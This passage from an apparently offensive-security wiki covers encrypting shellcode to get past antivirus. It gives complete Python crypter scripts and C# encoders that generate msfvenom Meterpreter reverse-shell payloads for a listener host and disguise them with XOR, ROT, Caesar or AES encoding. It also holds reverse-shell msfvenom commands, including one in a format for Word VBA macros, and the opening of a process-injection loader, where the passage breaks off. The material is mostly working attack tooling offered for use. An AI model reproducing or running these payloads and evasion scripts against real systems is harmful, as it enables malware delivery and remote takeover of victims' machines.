    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
